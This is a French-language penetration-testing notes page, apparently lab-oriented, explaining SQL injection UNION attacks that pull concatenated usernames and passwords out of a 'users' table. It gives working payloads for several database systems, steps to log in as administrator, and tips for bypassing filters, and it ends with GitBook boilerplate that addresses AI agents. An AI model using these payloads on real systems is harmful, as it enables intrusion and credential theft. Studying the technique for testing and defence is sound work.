> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# Attaque UNION pour extraire plusieurs valeurs dans une seule colonne

### Attaque UNION par injection SQL, récupération de plusieurs valeurs dans une seule colonne

**Objectif :** récupérer `le nom d'utilisateur` et `mot de passe` concaténés dans une seule colonne puis s’authentifier dans `administrateur`.

#### (1) Prérequis rapides

* Connaître le **nombre de colonnes** renvoyées par la requête (voir `ORDER BY` / `UNION NULL` tests).
* Identifiez quelle(s) colonne(s) de sortie sont renvoyées dans la réponse (constantes visibles).

#### 2) Exemples de charges utiles (selon le SGBD)

> Ajustez le nombre de colonnes (`NULL`/constante) pour correspondre à la requête vulnérable.

* **Oracle / PostgreSQL (concaténation par `||`) — requête type à 2 colonnes :**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL (CONCAT) - 2 colonnes :**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL (CONCAT ou +) - 2 colonnes :**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

ou

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **Si la requête d'origine comporte 3 colonnes (par ex.) :**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **Si les types sont incompatibles** (erreur UNION) : forcez la conversion/cast :
  * PostgreSQL : `username::text`
  * MySQL: `CAST(username AS CHAR)`
  * Oracle : `TO_CHAR(username)`

#### 3) Procédure concise

1. Déterminez `N` colonnes (`ORDER BY 1..N`).
2. Confirmez `UNION SELECT` par `NULL`/constantes.
3. Injectez la charge utile de concaténation adaptée au SGBD et au nombre de colonnes.
4. Trouvez les `username:password` lignes dans la réponse.
5. Identifiez l' `administrator:...` entrée et utilisez ces identifiants pour vous connecter à la page d'authentification.

#### 4) Notes pratiques

* Si les mots de passe sont hachés (par ex. bcrypt), une utilisation directe pour la connexion échouera ; il faudra alors casser le mot de passe si cela est autorisé ou confirmer que les mots de passe sont stockés en clair (incident de sécurité majeur).
* Si l'application n'affiche qu'une seule colonne, la concaténation est la bonne approche ; si elle en affiche plusieurs, préférez `UNION SELECT username, password` pour plus de clarté.
* Si `UNION` est filtré, essayez des variations d'espacement/de commentaires ou des fonctions (`CONCAT`, `CHR`/`CHAR`) pour contourner les filtres.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
